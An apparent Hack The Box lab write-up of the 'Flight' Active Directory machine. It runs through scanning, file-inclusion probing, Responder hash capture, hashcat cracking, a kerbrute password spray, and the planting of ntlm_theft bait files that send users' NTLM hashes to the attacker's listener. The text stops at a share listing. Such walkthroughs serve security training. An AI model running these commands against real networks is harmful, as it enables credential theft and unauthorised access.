Flight

AD box on HTB.

Enumeration:

Port Scanning:

Nmap:

As always we are going to start with nmap scan:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ sudo nmap -sCV -p- --min-rate 4000 -oN nmap/services.nmap -vv 10.129.228.120
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-09 00:30 EDT
Nmap scan report for G0.flight.htb (10.129.228.120)                                                                                                                         
Host is up, received echo-reply ttl 127 (0.13s latency).                                                                                                                    
Scanned at 2025-09-09 00:30:02 EDT for 172s                                                                                                                                 
Not shown: 65517 filtered tcp ports (no-response)                                                                                                                           
PORT      STATE SERVICE       REASON          VERSION                                                                                                                       
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus                                                                                                               
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)                                                                        
| http-methods:                                                                                                                                                             
|   Supported Methods: GET POST OPTIONS HEAD TRACE                                                                                                                          
|_  Potentially risky methods: TRACE                                                                                                                                        
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation                                                                                                                                                   
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-09 11:31:03Z)                             
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC                                                                                                         
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn                                                                                                 
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)                                 
445/tcp   open  microsoft-ds? syn-ack ttl 127                                                                                                                               
464/tcp   open  kpasswd5?     syn-ack ttl 127                                                                                                                               
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0                                                                                           
636/tcp   open  tcpwrapped    syn-ack ttl 127                                                                                                                               
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)                                 
3269/tcp  open  tcpwrapped    syn-ack ttl 127                                                                                                                               
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing                                                                                                          
<snipped>                                                                                                
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

<snipped>
|_clock-skew: 7h00m03s
<snipped>

We are dealing with another AD machine, and this time we have Apache web server running on port 80.

Also if take a look at the clock skew we will see it is too great, so I will use ntpdate to sync the time with the target machine:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ sudo ntpdate 10.129.228.120                                                                                                                                             
2025-09-09 16:09:03.621254 (+0300) +25201.788562 +/- 0.063444 10.129.228.120 s1 no-leap
CLOCK: time stepped by 25201.788562

And I will add the target host and domain and corresponding IP to the hosts file:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ cat /etc/hosts        
127.0.0.1       localhost
127.0.1.1       kali
<snipped>

10.129.228.120 G0.flight.htb flight.htb G0

HTTP (80):

Lets start by opening up flight.htb with firefox, and meanwhile run gobuster and ffuf in the background:

Nothing really interesting, only a static web page.

Lets find out what ffuf has found for us:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ ffuf -u http://flight.htb -H "Host: FUZZ.flight.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt                                   
                                                                                                                                                                                    /'___\  /'___\           /'___\                                                                                                                                            /\ \__/ /\ \__/  __  __  /\ \__/                                                                                                                                            \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\                                                                                                                                            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/                                                                                                                                    
         \ \_\   \ \_\  \ \____/  \ \_\                                                                                                                                     
          \/_/    \/_/   \/___/    \/_/                                                                                                                                     
                                                                                                                                                                            
       v2.1.0-dev                                                                                                                                                           
________________________________________________                                                                                                                            
                                                                                                                                                                            
 :: Method           : GET                                                                                                                                                  
 :: URL              : http://flight.htb                                                                                                                                    
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt                                                                  
 :: Header           : Host: FUZZ.flight.htb                                                                                                                                
 :: Follow redirects : false                                                                                                                                                
 :: Calibration      : false                                                                                                                                                
 :: Timeout          : 10                                                                                                                                                   
 :: Threads          : 40                                                                                                                                                   
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500                                                                                                 
________________________________________________                                                                                                                            
                                                                                                                                                                            
forum                   [Status: 200, Size: 7069, Words: 1546, Lines: 155, Duration: 338ms]                                                                                 
ns3                     [Status: 200, Size: 7069, Words: 1546, Lines: 155, Duration: 342ms]                                                                                 
localhost               [Status: 200, Size: 7069, Words: 1546, Lines: 155, Duration: 342ms]                                                                                 
www2                    [Status: 200, Size: 7069, Words: 1546, Lines: 155, Duration: 338ms]                                                                                 
mail                    [Status: 200, Size: 7069, Words: 1546, Lines: 155, Duration: 323ms]                                                                                 
pop                     [Status: 200, Size: 7069, Words: 1546, Lines: 155, Duration: 342ms]                                                                                 
demo                    [Status: 200, Size: 7069, Words: 1546, Lines: 155, Duration: 343ms]

A lot of false positives, so we will filter on the size:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ ffuf -u http://flight.htb -H "Host: FUZZ.flight.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 7069                          
                                                                                                                                                                            
        /'___\  /'___\           /'___\                                                                                                                                     
       /\ \__/ /\ \__/  __  __  /\ \__/                                                                                                                                     
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\                                                                                                                                    
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/                                                                                                                                    
         \ \_\   \ \_\  \ \____/  \ \_\                                                                                                                                     
          \/_/    \/_/   \/___/    \/_/                                                                                                                                     
                                                                                                                                                                            
       v2.1.0-dev                                                                                                                                                           
________________________________________________                                                                                                                            
                                                                                                                                                                            
 :: Method           : GET                                                                                                                                                  
 :: URL              : http://flight.htb                                                                                                                                    
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt                                                                  
 :: Header           : Host: FUZZ.flight.htb                                                                                                                                
 :: Follow redirects : false                                                                                                                                                
 :: Calibration      : false                                                                                                                                                
 :: Timeout          : 10                                                                                                                                                   
 :: Threads          : 40                                                                                                                                                   
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500                                                                                                 
 :: Filter           : Response size: 7069                                                                                                                                  
________________________________________________                                                                                                                            
                                                                                                                                                                            
school                  [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 206ms]
<snipped>

I will add this subdomain to the hosts file:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        └─$ cat /etc/hosts                                                                                                                                                          
127.0.0.1       localhost                                                                                                                                                   
127.0.1.1       kali                                                                                                                                                        
<snipped>                                                                                                                                   
                                                                                                                                                                            
10.129.228.120 G0.flight.htb flight.htb G0 school.flight.htb

Exploitation:

LLMNR Poisoning:

Now lets open it up with firefox as well:

If we take a closer look we will find some buttons which redirect us to index.php?view=pagename.html, Lets test this out:

Usually if you find something similar you can test for multiple vulnerabilities, such as Path Traversal, LFI, RFI, etc.

Also we can confirm the backend language is PHP.

Lets see if we can access internal files:

Indeed we can, how about accessing external resources like our python web server:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ python3 -m http.server 80                                                                                                                                               
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...                                                                                                                    
10.129.228.120 - - [09/Sep/2025 00:40:19] "GET / HTTP/1.1" 200 -

Another interesting thing we can test for, that is LLMNR poisoning:

LLMNR poisoning: Where you trick a victim (in this case the service account running this web server), into authenticating or sending their authentication hash to us (we capture it with responder or relay it to do other stuff), by abusing llmnr multicast query functionality.

So I will start responder to listen and capture any NTLM hashes sent to us:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ sudo responder -I tun0 -dvw                                                                                                                                             
                                         __                                                                                                                                 
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.                                                                                                                    
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|                                                                                                                    
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|                                                                                                                      
                   |__|                                                                                                                                                     
                                                                                                                                                                            
                                                                                                                                                                            
[+] Poisoners:                                                                                                                                                              
    LLMNR                      [ON]                                                                                                                                         
    NBT-NS                     [ON]                                                                                                                                         
    MDNS                       [ON]                                                                                                                                         
    DNS                        [ON]                                                                                                                                         
    DHCP                       [ON]                                                                                                                                         
                                                                                                                                                                            
[+] Servers:                                                                                                                                                                
    HTTP server                [ON]                                                                                                                                         
    HTTPS server               [ON]                                                                                                                                         
    WPAD proxy                 [ON]                                                                                                                                         
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]                                                                                                                                         
                                                                                                                                                                            
[+] HTTP Options:                                                                                                                                                           
    Always serving EXE         [OFF]                                                                                                                                        
    Serving EXE                [OFF]                                                                                                                                        
    Serving HTML               [OFF]                                                                                                                                        
    Upstream Proxy             [OFF]                                                                                                                                        
                                                                                                                                                                            
[+] Poisoning Options:                                                                                                                                                      
    Analyze Mode               [OFF]                                                                                                                                        
    Force WPAD auth            [OFF]                                                                                                                                        
    Force Basic Auth           [OFF]                                                                                                                                        
    Force LM downgrade         [OFF]                                                                                                                                        
    Force ESS downgrade        [OFF]                                                                                                                                        
                                                                                                                                                                            
[+] Generic Options:                                                                                                                                                        
    Responder NIC              [tun0]                                                                                                                                       
    Responder IP               [10.10.16.4]                                                                                                                                 
    Responder IPv6             [dead:beef:4::1002]                                                                                                                          
    Challenge set              [random]                                                                                                                                     
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']                                                                                                                   
    Don't Respond To MDNS TLD  ['_DOSVC']                                                                                                                                   
    TTL for poisoned response  [default]                                                                                                                                    
                                                                                                                                                                            
[+] Current Session Variables:                                                                                                                                              
    Responder Machine Name     [WIN-MJXO2PJB5E2]                                                                                                                            
    Responder Domain Name      [6SDQ.LOCAL]                                                                                                                                 
    Responder DCE-RPC Port     [48075]                                                                                                                                      
                                           
[*] Version: Responder 3.1.7.0     
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder
                                           
[+] Listening for events...

If we take a look at responder again:

[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:f97f8f939d6793a2:4E004E2E6F2E7FFD1148D56F9C354C53:01010000000000000002EB642221DC01AE5727E7E6A921B7000000000200080036005300440
0510001001E00570049004E002D004D004A0058004F00320050004A00420035004500320004003400570049004E002D004D004A0058004F00320050004A0042003500450032002E0036005300440051002E004C004F0
0430041004C000300140036005300440051002E004C004F00430041004C000500140036005300440051002E004C004F00430041004C00070008000002EB642221DC01060004000200000008003000300000000000000
00000000000300000519615345A3617D56226E802E16BA62829B6E89B662AACF6A9AD5FB88B477D850A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E0
0310036002E0034000000000000000000
[+] Exiting...

Lets save that ntlmv2 hash into a file, and attempt to crack it with hashcat:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ hashcat svc_apache.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

<snipped>

SVC_APACHE::flight:f97f8f939d6793a2:4e004e2e6f2e7ffd1148d56f9c354c53:01010000000000000002eb642221dc01ae5727e7e6a921b70000000002000800360053004400510001001e00570049004e002d0
04d004a0058004f00320050004a00420035004500320004003400570049004e002d004d004a0058004f00320050004a0042003500450032002e0036005300440051002e004c004f00430041004c00030014003600530
0440051002e004c004f00430041004c000500140036005300440051002e004c004f00430041004c00070008000002eb642221dc0106000400020000000800300030000000000000000000000000300000519615345a3
617d56226e802e16ba62829b6e89b662aacf6a9ad5fb88b477d850a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e00340000000000000
00000:S@Ss!******
                                                           
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SVC_APACHE::flight:f97f8f939d6793a2:4e004e2e6f2e7ff...000000
Time.Started.....: Tue Sep  9 00:41:45 2025 (8 secs)
Time.Estimated...: Tue Sep  9 00:41:53 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1415.8 kH/s (0.97ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10665984/14344385 (74.36%)
Rejected.........: 0/10665984 (0.00%)
Restore.Point....: 10662912/14344385 (74.34%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: S@ltw@ter -> Ryanpetter
Hardware.Mon.#1..: Util: 26%

<snipped>

Now we have valid domain credentials.

We can now enumerate the shares with netexec, and impacket-smbclient:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ netexec smb g0.flight.htb -u svc_apache -p 'S@Ss!******' --shares                                                                                                       
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)                 
SMB         10.129.228.120  445    G0               [+] flight.htb\svc_apache:S@Ss!******                                                                                   
SMB         10.129.228.120  445    G0               [*] Enumerated shares                                                                                                   
SMB         10.129.228.120  445    G0               Share           Permissions     Remark                                                                                  
SMB         10.129.228.120  445    G0               -----           -----------     ------                                                                                  
SMB         10.129.228.120  445    G0               ADMIN$                          Remote Admin                                                                            
SMB         10.129.228.120  445    G0               C$                              Default share                                                                           
SMB         10.129.228.120  445    G0               IPC$            READ            Remote IPC                                                                              
SMB         10.129.228.120  445    G0               NETLOGON        READ            Logon server share                                                                      
SMB         10.129.228.120  445    G0               Shared          READ                                                                                                    
SMB         10.129.228.120  445    G0               SYSVOL          READ            Logon server share                                                                      
SMB         10.129.228.120  445    G0               Users           READ                                                                                                    
SMB         10.129.228.120  445    G0               Web             READ
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ impacket-smbclient flight.htb/svc_apache@10.129.228.120                                                                                                                 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies                                                                                                  
                                                                                                                                                                            
Password: S@Ss!******                                                                                                                                                                  
Type help for list of commands                                                                                                                                              
# shares                                                                                                                                                                    
ADMIN$                                                                                                                                                                      
C$                                                                                                                                                                          
IPC$                                                                                                                                                                        
NETLOGON                                                                                                                                                                    
Shared                                                                                                                                                                      
SYSVOL                                                                                                                                                                      
Users                                                                                                                                                                       
Web                                                                                                                                                                         
# use shared                                                                                                                                                                
# ls                                                                                                                                                                        
drw-rw-rw-          0  Fri Oct 28 16:21:28 2022 .                                                                                                                           
drw-rw-rw-          0  Fri Oct 28 16:21:28 2022 ..                                                                                                                          
# use web                                                                                                                                                                   
# ls
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 .
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 ..
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 flight.htb
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 school.flight.htb
# cd flight.htb
# ls
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 .
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 ..
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 css
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 images
-rw-rw-rw-       7069  Thu Sep 22 16:17:00 2022 index.html
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 js
# cd ../school.flight.htb
# ls
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 .
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 ..
-rw-rw-rw-       1689  Mon Oct 24 23:54:45 2022 about.html
-rw-rw-rw-       3618  Mon Oct 24 23:53:59 2022 blog.html
-rw-rw-rw-       2683  Mon Oct 24 23:56:58 2022 home.html
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 images
-rw-rw-rw-       2092  Thu Oct 27 03:59:25 2022 index.php
-rw-rw-rw-        179  Thu Oct 27 03:55:16 2022 lfi.html
drw-rw-rw-          0  Tue Sep  9 07:42:00 2025 styles
# exit

Nothing useful.

Also I did not find anything useful in BloodHound data.

Username Enumeration & Password Spray:

Always when you acquired a new password, try spraying it on all users, but keep in mind account lockout.

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ netexec smb g0.flight.htb -u svc_apache -p 'S@Ss!******' --users                   
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.129.228.120  445    G0               [+] flight.htb\svc_apache:S@Ss!****** 
SMB         10.129.228.120  445    G0               -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.129.228.120  445    G0               Administrator                 2022-09-22 20:17:02 0       Built-in account for administering the computer/domain 
SMB         10.129.228.120  445    G0               Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.129.228.120  445    G0               krbtgt                        2022-09-22 19:48:01 0       Key Distribution Center Service Account 
SMB         10.129.228.120  445    G0               S.Moon                        2022-09-22 20:08:22 0       Junion Web Developer 
SMB         10.129.228.120  445    G0               R.Cold                        2022-09-22 20:08:22 0       HR Assistant 
SMB         10.129.228.120  445    G0               G.Lors                        2022-09-22 20:08:22 0       Sales manager 
SMB         10.129.228.120  445    G0               L.Kein                        2022-09-22 20:08:22 0       Penetration tester 
SMB         10.129.228.120  445    G0               M.Gold                        2022-09-22 20:08:22 0       Sysadmin 
SMB         10.129.228.120  445    G0               C.Bum                         2022-09-22 20:08:22 0       Senior Web Developer 
SMB         10.129.228.120  445    G0               W.Walker                      2022-09-22 20:08:22 0       Payroll officer 
SMB         10.129.228.120  445    G0               I.Francis                     2022-09-22 20:08:22 0       Nobody knows why he is here 
SMB         10.129.228.120  445    G0               D.Truff                       2022-09-22 20:08:22 0       Project Manager 
SMB         10.129.228.120  445    G0               V.Stevens                     2022-09-22 20:08:22 0       Secretary 
SMB         10.129.228.120  445    G0               svc_apache                    2022-09-22 20:08:23 0       Service Apache web 
SMB         10.129.228.120  445    G0               O.Possum                      2022-09-22 20:08:23 0       Helpdesk 
SMB         10.129.228.120  445    G0               [*] Enumerated 15 local users: flight

Now it is the time for password spray:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                    
└─$ kerbrute passwordspray users.txt 'S@Ss!******' --dc g0.flight.htb -d flight.htb
                                                                                      
    __             __               __                                        
   / /_____  _____/ /_  _______  __/ /____                                  
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \                                  
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/                                   
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                            
                                                                                                                                                                            
Version: v1.0.3 (9dad6e1) - 09/09/25 - Ronnie Flathers @ropnop              

2025/09/09 17:06:43 >  Using KDC(s):                                                  
2025/09/09 17:06:43 >   g0.flight.htb:88                                                                                                                                    

2025/09/09 17:06:50 >  [+] VALID LOGIN:  S.Moon@flight.htb:S@Ss!******                
2025/09/09 17:06:51 >  [+] VALID LOGIN:  svc_apache@flight.htb:S@Ss!******
2025/09/09 17:06:51 >  Done! Tested 16 logins (2 successes) in 7.115 seconds

We have another user with the same password.

NTLM Theft:

Check the shares again:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                  
└─$ netexec smb g0.flight.htb -u s.moon -p 'S@Ss!******' --shares                                          
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.129.228.120  445    G0               [+] flight.htb\s.moon:S@Ss!******                                                                                       
SMB         10.129.228.120  445    G0               [*] Enumerated shares                                                                                                   
SMB         10.129.228.120  445    G0               Share           Permissions     Remark                
SMB         10.129.228.120  445    G0               -----           -----------     ------                   
SMB         10.129.228.120  445    G0               ADMIN$                          Remote Admin              
SMB         10.129.228.120  445    G0               C$                              Default share           
SMB         10.129.228.120  445    G0               IPC$            READ            Remote IPC                
SMB         10.129.228.120  445    G0               NETLOGON        READ            Logon server share 
SMB         10.129.228.120  445    G0               Shared          READ,WRITE                                                                                              
SMB         10.129.228.120  445    G0               SYSVOL          READ            Logon server share                                                                      
SMB         10.129.228.120  445    G0               Users           READ            
SMB         10.129.228.120  445    G0               Web             READ

We have WRITE permissions over the Shared share.

What we can do when we have write permissions over a share is to upload a malicious file (exe, ps1, lnk, docx, etc), and wait for any user to see it and run it.

There is a wonderful tool called ntlm_theft written in pyhon could help us in this phase, by creating multiple files that if a user tried to open one of them his ntlmv2 hash will be sent to our listener (responder):

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                                        
└─$ python3 /opt/Tools/ntlm_theft/ntlm_theft.py --generate all --server 10.10.16.4 --filename notes          
Created: notes/notes.scf (BROWSE TO FOLDER)                                                                                                                                 
Created: notes/notes-(url).url (BROWSE TO FOLDER)                                                                                                                           
Created: notes/notes-(icon).url (BROWSE TO FOLDER)                                                                                                                          
Created: notes/notes.lnk (BROWSE TO FOLDER)                                                                                                                                 
Created: notes/notes.rtf (OPEN)                                                                                                                                             
Created: notes/notes-(stylesheet).xml (OPEN)                                                                                                                                
Created: notes/notes-(fulldocx).xml (OPEN)                                            
Created: notes/notes.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)                
Created: notes/notes-(includepicture).docx (OPEN)                                     
Created: notes/notes-(remotetemplate).docx (OPEN)   
Created: notes/notes-(frameset).docx (OPEN)                                                                                                                                 
Created: notes/notes-(externalcell).xlsx (OPEN)
Created: notes/notes.wax (OPEN)
Created: notes/notes.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: notes/notes.asx (OPEN)
Created: notes/notes.jnlp (OPEN)
Created: notes/notes.application (DOWNLOAD AND OPEN)
Created: notes/notes.pdf (OPEN AND ALLOW)
Created: notes/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: notes/Autorun.inf (BROWSE TO FOLDER)
Created: notes/desktop.ini (BROWSE TO FOLDER)
Generation Complete.

Not all files were accepted to be uploaded, maybe there is some restriction to some files, but one of the files that worked for me was desktop.ini, so lets upload it via smbmap:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ smbmap -H flight.htb -u s.moon -p 'S@Ss!******' --upload notes/desktop.ini 'Shared\desktop.ini'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                   
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                       
[+] Starting upload: notes/desktop.ini (46 bytes)                                                                         
[+] Upload complete..                                                                                                     
[*] Closed 1 connections

And wait again while responder running:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]                                                                                                     00:54:34 [518/1387]
└─$ sudo responder -I tun0 -dvw                                                                     
                                         __ 
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.4]
    Responder IPv6             [dead:beef:4::1002]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-Q333NWQGPPK]
    Responder Domain Name      [H4EL.LOCAL]
    Responder DCE-RPC Port     [48536]

[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder

[+] Listening for events...

After like a minute we captured a new user's ntlmv2 hash:

[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:0f245e7b79855603:6588736F91CDDEE7A403C32EFE23A959:01010000000000000041DE4E2421DC01FC3989CBA6B763C30000000002000800480034004500
4C0001001E00570049004E002D0051003300330033004E00570051004700500050004B0004003400570049004E002D0051003300330033004E00570051004700500050004B002E004800340045004C002E004C004F00
430041004C00030014004800340045004C002E004C004F00430041004C00050014004800340045004C002E004C004F00430041004C00070008000041DE4E2421DC010600040002000000080030003000000000000000
0000000000300000519615345A3617D56226E802E16BA62829B6E89B662AACF6A9AD5FB88B477D850A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00
310036002E0034000000000000000000
[+] Exiting...

I will try to crack it:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ hashcat c.bum.hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode

<snipped>
C.BUM::flight.htb:0f245e7b79855603:6588736f91cddee7a403c32efe23a959:01010000000000000041de4e2421dc01fc3989cba6b763c300000000020008004800340045004c0001001e00570049004e002d00
51003300330033004e00570051004700500050004b0004003400570049004e002d0051003300330033004e00570051004700500050004b002e004800340045004c002e004c004f00430041004c000300140048003400
45004c002e004c004f00430041004c00050014004800340045004c002e004c004f00430041004c00070008000041de4e2421dc0106000400020000000800300030000000000000000000000000300000519615345a36
17d56226e802e16ba62829b6e89b662aacf6a9ad5fb88b477d850a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e003400000000000000
0000:Tikkycoll_**********
                                                           
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: C.BUM::flight.htb:0f245e7b79855603:6588736f91cddee7...000000
Time.Started.....: Tue Sep  9 00:55:17 2025 (6 secs)
Time.Estimated...: Tue Sep  9 00:55:23 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1610.1 kH/s (0.90ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10536960/14344385 (73.46%)
Rejected.........: 0/10536960 (0.00%)
Restore.Point....: 10533888/14344385 (73.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ToNii.x -> TiffanyCamila 
Hardware.Mon.#1..: Util: 33%

<snipped>

Shell as c.bum:

Lets have a look at the shares again:

┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Flight]
└─$ netexec smb g0.flight.htb -u c.bum -p Tikkycoll_********** --shares
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.129.228.120  445    G0               [+] flight.htb\c.bum:Tikkycoll_********** 
SMB         10.129.228.120  445    G0               [*] Enumerated shares
